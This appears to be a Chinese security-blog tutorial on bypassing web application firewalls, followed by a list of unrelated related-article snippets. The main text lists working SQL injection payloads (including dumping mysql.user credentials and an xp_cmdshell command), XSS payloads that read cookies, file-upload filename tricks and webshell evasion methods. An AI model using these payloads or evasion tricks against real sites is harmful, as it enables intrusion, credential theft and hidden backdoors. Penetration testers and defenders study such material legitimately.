waf绕过
1.市场Waf分类
硬件Waf:绿盟、安恒、启明、知道创宇等
需要选择模式
透明模式
反向代理分为反向代理(代理模式)与反向代理(牵引模式)
反向代理又分为两种模式,反向代理(代理模式)与反向代理(牵引模式)
旁路监控
软件Waf:安全狗、云锁、中间件自带的Waf模块
云WAF:阿里云、安全狗、知道创宇、安恒
2.WAF的检测方法
首先白名单黑名单身份认证--数据包解析--规则判断--拦截
![]()
3.身份认证阶段绕过
- 伪造搜索引擎绕过
- 伪造白名单的特殊目录
admin/../ 方式绕过
http://10.0.0.139:92/pikachu/pkxss/admin/../pkxss_login.php
4.数据包解析绕过
- 1、burp安装waf模块
云WAF绕过方法:伪造XFF头为127.0.0.1或找出真实IP绕过
安装插件
![]()
![]()
![]()
加一些路径
![]()
![]()
- 2、通过工具伪造百度、google等user agent头或者伪造白名单特殊目录
- 3、编码url绕过
输入and 1=1
将and换位&&
进行url编码
去掉1=1
将1=1换位-1=-1
4、修改请求方式绕过:利用waf的默认规则绕过,如默认只针对拦截,不对post拦截
对方支持request
为request就是可以
- 5、复合参数绕过
http://10.0.0.139:92/sql.php?id=1&id=and&id=1=2
- 6、WAF触发规则的绕过
内联注释代替空格/**/代替空格
http://10.0.0.139:92/sql.php?id=1/*|%23--%23|*/and/*|%23--%23|*/-1=-1
特殊字符拼接
例如: exec('maste'+'r..xp'+'_cmdshell'+'"net user"')
注释包含关键字
/*!*/包含关键词
GET /pen/news.php?id=1 /*!union*/ /*!select*/ user,password /*!from*/ mysql.user
and /*!1*/=/*!1*/ #
加!是被执行
Lucy' order /*!11440 by*/ 1,2#
跟这个数字有关,这是一个版本
-1' union /*!77777cz*//*!77777cz*/ select database/*!77777a*/(),2#
使用大小写
http://www.***.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
双写绕过
http://www.***.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
关键字替换
xor异或绕过
mod绕过
= | like|in、group_concat() | concat_ws()、@@version | version()
利用WAF本身的功能绕过利用*代替空格
,如uni*on+sel*ect+1,2,3,4....
组合法
and /*!1=1*/ %23
把and为&&,urlencode后为%26%26 如:%20%26%26%20-1=-2
- 7、分块传输绕过
支持get 或request
变更请求方法
使用分块传输
0代表传输完成
- 8.利用其他变量或命令执行语句
and mod(8,7) in (1)
and mod(8,7) in (2)
异或运算(测注入点)xor
vince ' Xor '1'='1' #
vince ' Xor '1'='2' #
5.文件上传绕过
- 方法一:等号绕过
被waf拦截
上传成功
![]()
- 方法二:换行绕过
- 方法三:填充垃圾字符
在from-data前加一些垃圾字符
- 方法四:突破0,文件名前缀加[0x09]绕过
- 方法五:文件名去掉双引号绕过
6.XSS绕过Waf
- HTML5 新标签
<details%20open%20οntοggle=alert(/xss/)>
<details open οntοggle=top['prompt'](1)>
<details open οntοggle=top['al'%2b'ert'](1)>
audio标签
<audio src=x οnerrοr=alert(47)>
<audio src=x οnerrοr=prompt(1);>
<audio src=1 href=1 οnerrοr="javascript:alert(1)"></audio>
video标签
<video src=x οnerrοr=alert(48)>
<video src=x οnerrοr=prompt(1);>
div标签
<div style="width:expression(alert(/1/))">1</div> ie浏览器执行
<div onmouseover%3d'alert%26lpar%3b1%26rpar%3b'>DIV<%2fdiv> url编码绕过
math标签
<math><a/xlink:href=javascript:prompt(1)>Xss
<math href="javascript:javascript:alert(1)">Xss</math>
button标签
<button οnfοcus=alert(1) autofocus>
<button/οnclick=alert(1) >xss</button>
keygen/οnfοcus=prompt(1);>
keygen标签
<keygen οnfοcus=javascript:alert(1) autofocus>
object标签
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
base64加密:PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg <script>alert(1)</script>
iframe标签
<IFRAME width%3d"420" height%3d"315" frameborder%3d"0" onload%3d"alert(document.cookie)"><%2fIFRAME>
<iframe%2fsrc%3d"data%3atext%2fhtml%3b%26Tab%3bbase64%26Tab%3b,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg%3d%3d">
<iframe srcdoc%3d'%26lt%3bbody onload%3dprompt%26lpar%3b1%26rpar%3b%26gt%3b'>
- 大小写绕过
- javascript伪协议
- 没有分号
- Flash
- Fuzz进行测试
- 双层标签绕过
7.Webshell免杀(服务端绕过)
用小马传大马(读取文件路径)
小马功能单一,大马功能多,小马代码少,小马作用就是传大码
PHP小马
注释法(干扰waf)
替换函数类函数组合法
把马创建成涵数,后面只要调用涵数就行
变量覆盖
在线加密
通过NTFS交换数据流文件实现文件隐藏
8.Webshell后门分析
代码分析定位法
抓包分析法
数据流量协议分析法
相关文章:
waf绕过
1.市场Waf分类 硬件Waf:绿盟、安恒、启明、知道创宇等 需要选择模式 透明模式 反向代理分为反向代理(代理模式)与反向代理(牵引模式) 反向代理又分为两种模式,反向代理…...
在 MyBatis-Plus 中,如果你想通过其他字段进行修改操作,可以使用条件构造器(Wrapper)来指定修改的条件。
在 MyBatis-Plus 中,如果你想通过其他字段进行修改操作,可以使用条件构造器(Wrapper)来指定修改的条件。 对不起,我在之前的回答中犯了一个错误。在条件构造器中,eq 方法的第一个参数应该是数据库表中的列…...
Python Opencv实践 - 入门使用Tesseract识别图片中的文字
做车牌识别项目前试一试tesseract识别中文。tesseract的安装使用请参考: Python OCR工具pytesseract详解 - 知乎pytesseract是基于Python的OCR工具, 底层使用的是Google的Tesseract-OCR 引擎,支持识别图片中的文字,支持jpeg, png…...
TCP通信实战案例-即时通信
即时通信是什么含义,要实现怎么样的设计? 即时通信,是指一个客户端的消息发出去,其他客户端可以接收到。 即时通信需要进行端口转发的设计思想。 服务端需要把在线的Socket管道存储起来。 一旦收到一个消息要推送给其他管道。…...
【数据结构初阶】算法的时间复杂度和空间复杂度
算法的时间复杂度和空间复杂度 1.算法效率1.1 如何衡量一个算法的好坏1.2 算法的复杂度 2.时间复杂度2.1 时间复杂度的概念2.2 大O的渐进表示法2.3常见时间复杂度计算举例 3.空间复杂度4. 常见复杂度对比 1.算法效率 1.1 如何衡量一个算法的好坏 如何衡量一个算法的好坏呢&am…...
git log 命令详解
测试仓库 asdf 常用参数 查询指定目录 git -C /Users/yanlp/workspace/asdf log 限制显示提交数量 git log -n 3 限制提交人|邮箱 git log --authorEdwin Kofler | git log --authoredwinkofler.dev 限制一个月内的提交git log --since1.month.ago | git log --since2023-0…...
docker运行elastic和kibana,并使用密码连接
1. elasticsearch 运行容器 docker run -d --name elasticsearch -p 9200:9200 -p 9300:9300 -e "discovery.typesingle-node" elasticsearch:7.7.0 进入容器 docker exec -it elasticsearch bash修改配置开启密码校验 vi ./conf/elasticsearch.yml添加以下内容 …...
前端html生成PDF
需要用到的组件 1、html2canvas 地址:http://html2canvas.hertzen.com/ 安装:npm install --save html2canvas 2、jsPDF 地址:https://github.com/parallax/jsPDF 安装:npm install jspdf --save 代码 // 导出页面为PDF格式 im…...
强化学习代码实战(3) --- 寻找真我
前言 本文内容来自于南京大学郭宪老师在博文视点学院录制的视频,课程仅9元地址,配套书籍为深入浅出强化学习 编程实战 郭宪地址。 正文 我们发现多臂赌博机执行一个动作之后,无论是选择摇臂1,摇臂2,还是摇臂3之后都会返…...
SA+ST表维护height+单调队列维护:CF1073G
https://www.luogu.com.cn/problem/CF1073G lcp相关的,先跑个sa,然后height建个ST表 现在考虑询问,我们按A和B按 r k rk rk 排序。现在考虑B->A,反过来同理。 我们可以用单调队列维护,满足height是单增的。因为…...
Java中JVM、JRE和JDK三者有什么区别和联系?
任何语言或者软件的运行都需要环境。就像人要生活在空气中,鱼要活在水中,喜阴植物就不能放在阳光下暴晒一样,任何对象个体的存在都离不开其所需要的环境,编程语言亦是一样的。 java 语言的开发运行,也离不开 Java 语言…...
秋季期中考复现xj
flow analysis 1 What is the backdoor file name that comes with the server?( Including file suffix) 服务器自带的后门文件是什么?(含文件后缀) 题目还要求最后把那个文件名MD5一下,再去提交 开始的前三题是流量分析的&…...
【代码随想录】算法训练营 第十四天 第六章 二叉树 Part 1
递归遍历 递归法讲究的就是一个格式,在外边再定义一个用于递归求解的函数reverser,参数是递归的二叉树当前根节点和用于保存遍历得到的答案序列的vector容器; 函数中的格式就是,先写递归终止条件,也就是遍历的结点为…...
【访问控制】—>《熟练使用ACL进行上网行为管理》
✍ 标准和高级ACL功能介绍; ✍ 思科和华为ACL功能有什么区别? ✍ 现网中ACL都有哪些使用场景? -- ACL - 访问控制列表 - 控制: 能通/不能通 -- ACL - 结合功能 list - 简化版本的行为管理 -- 插件性质的功能 --…...
MySQL外键,表与表的关系,多表查询,Navicat软件
外键 MySQL可以使用外键来保持表之间的关系完整性。 要设置外键,可以按照以下步骤进行操作: 在创建表时,使用FOREIGN KEY关键字来指定外键列: CREATE TABLE table1 (id INT PRIMARY KEY,name VARCHAR(50),table2_id INT,FOREI…...
Linux系统镜像备忘
阿里镜像源: ubuntu ubuntu-releases安装包下载_开源镜像站-阿里云 centos centos-stream安装包下载_开源镜像站-阿里云...
Docker容器端口在主机的映射
Docker容器端口在主机的映射 Docker 允许你在启动容器时进行多个端口映射,以便将容器内部的端口映射到宿主机上的不同端口。你可以使用-p或--publish标志来指定端口映射。以下是一些示例,说明如何在 Docker 启动容器时进行多个端口映射: 映…...
Spring Boot中RedisTemplate的使用
当前Spring Boot的版本为2.7.6,在使用RedisTemplate之前我们需要在pom.xml中引入下述依赖: <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-data-redis</artifactId><vers…...
GSCoolink GSV6183 带嵌入式MCU的MIPI D-PHY 转 DP/eDP
Gscoolink GSV6183是一款高性能、低功耗的MIPI D-PHY到DisplayPort/eDP 1.4转换器。通过集成基于RISC-V的增强型微控制器,GSV6183创造了一种具有成本效益的解决方案,提供了上市时间优势。MIPI D-PHY接收器支持CSI-2版本1.3和DSI版本1.3,每条通…...
使用docker在3台服务器上搭建基于redis 6.x的一主两从三台均是哨兵模式
一、环境及版本说明 如果服务器已经安装了docker,则忽略此步骤,如果没有安装,则可以按照一下方式安装: 1. 在线安装(有互联网环境): 请看我这篇文章 传送阵>> 点我查看 2. 离线安装(内网环境):请看我这篇文章 传送阵>> 点我查看 说明:假设每台服务器已…...
微软PowerBI考试 PL300-选择 Power BI 模型框架【附练习数据】
微软PowerBI考试 PL300-选择 Power BI 模型框架 20 多年来,Microsoft 持续对企业商业智能 (BI) 进行大量投资。 Azure Analysis Services (AAS) 和 SQL Server Analysis Services (SSAS) 基于无数企业使用的成熟的 BI 数据建模技术。 同样的技术也是 Power BI 数据…...
华为OD机试-食堂供餐-二分法
import java.util.Arrays; import java.util.Scanner;public class DemoTest3 {public static void main(String[] args) {Scanner in new Scanner(System.in);// 注意 hasNext 和 hasNextLine 的区别while (in.hasNextLine()) { // 注意 while 处理多个 caseint a in.nextIn…...
AspectJ 在 Android 中的完整使用指南
一、环境配置(Gradle 7.0 适配) 1. 项目级 build.gradle // 注意:沪江插件已停更,推荐官方兼容方案 buildscript {dependencies {classpath org.aspectj:aspectjtools:1.9.9.1 // AspectJ 工具} } 2. 模块级 build.gradle plu…...
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析
Java求职者面试指南:Spring、Spring Boot、MyBatis框架与计算机基础问题解析 一、第一轮提问(基础概念问题) 1. 请解释Spring框架的核心容器是什么?它在Spring中起到什么作用? Spring框架的核心容器是IoC容器&#…...
RSS 2025|从说明书学习复杂机器人操作任务:NUS邵林团队提出全新机器人装配技能学习框架Manual2Skill
视觉语言模型(Vision-Language Models, VLMs),为真实环境中的机器人操作任务提供了极具潜力的解决方案。 尽管 VLMs 取得了显著进展,机器人仍难以胜任复杂的长时程任务(如家具装配),主要受限于人…...
DAY 26 函数专题1
函数定义与参数知识点回顾:1. 函数的定义2. 变量作用域:局部变量和全局变量3. 函数的参数类型:位置参数、默认参数、不定参数4. 传递参数的手段:关键词参数5 题目1:计算圆的面积 任务: 编写一…...
Windows电脑能装鸿蒙吗_Windows电脑体验鸿蒙电脑操作系统教程
鸿蒙电脑版操作系统来了,很多小伙伴想体验鸿蒙电脑版操作系统,可惜,鸿蒙系统并不支持你正在使用的传统的电脑来安装。不过可以通过可以使用华为官方提供的虚拟机,来体验大家心心念念的鸿蒙系统啦!注意:虚拟…...
麒麟系统使用-进行.NET开发
文章目录 前言一、搭建dotnet环境1.获取相关资源2.配置dotnet 二、使用dotnet三、其他说明总结 前言 麒麟系统的内核是基于linux的,如果需要进行.NET开发,则需要安装特定的应用。由于NET Framework 是仅适用于 Windows 版本的 .NET,所以要进…...
GraphRAG优化新思路-开源的ROGRAG框架
目前的如微软开源的GraphRAG的工作流程都较为复杂,难以孤立地评估各个组件的贡献,传统的检索方法在处理复杂推理任务时可能不够有效,特别是在需要理解实体间关系或多跳知识的情况下。先说结论,看完后感觉这个框架性能上不会比Grap…...








加一些路径






为request就是可以










